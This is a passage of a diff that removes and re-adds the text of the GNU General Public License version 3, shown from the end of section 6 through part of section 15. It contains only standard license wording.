ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST 